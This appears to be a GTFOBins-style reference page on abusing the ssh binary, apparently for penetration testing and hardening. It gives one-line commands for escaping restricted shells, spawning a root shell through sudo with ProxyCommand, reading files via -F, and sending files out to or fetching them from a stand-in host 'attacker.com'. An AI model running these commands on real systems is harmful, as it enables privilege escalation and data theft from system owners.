.. / ssh

Shell | File upload | File download | File read | Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

(a)

Reconnecting may help bypassing restricted shells.

```
ssh localhost $SHELL --noprofile --norc
```

(b)

Spawn interactive shell through ProxyCommand option.

```
ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```

(c)

Spawn interactive shell on client, requires a successful connection towards `host`.

```
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host
```

File upload

It can exfiltrate files on the network.

Send local file to a SSH server.

```
HOST=user@attacker.com
RPATH=file_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
```

File download

It can download remote files.

Fetch a remote file from a SSH server.

```
HOST=user@attacker.com
RPATH=file_to_get
LPATH=file_to_save
ssh $HOST "cat $RPATH" > $LPATH
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The read file content is corrupted by error prints.

```
LFILE=file_to_read
ssh -F $LFILE localhost
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Spawn interactive root shell through ProxyCommand option.

```
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```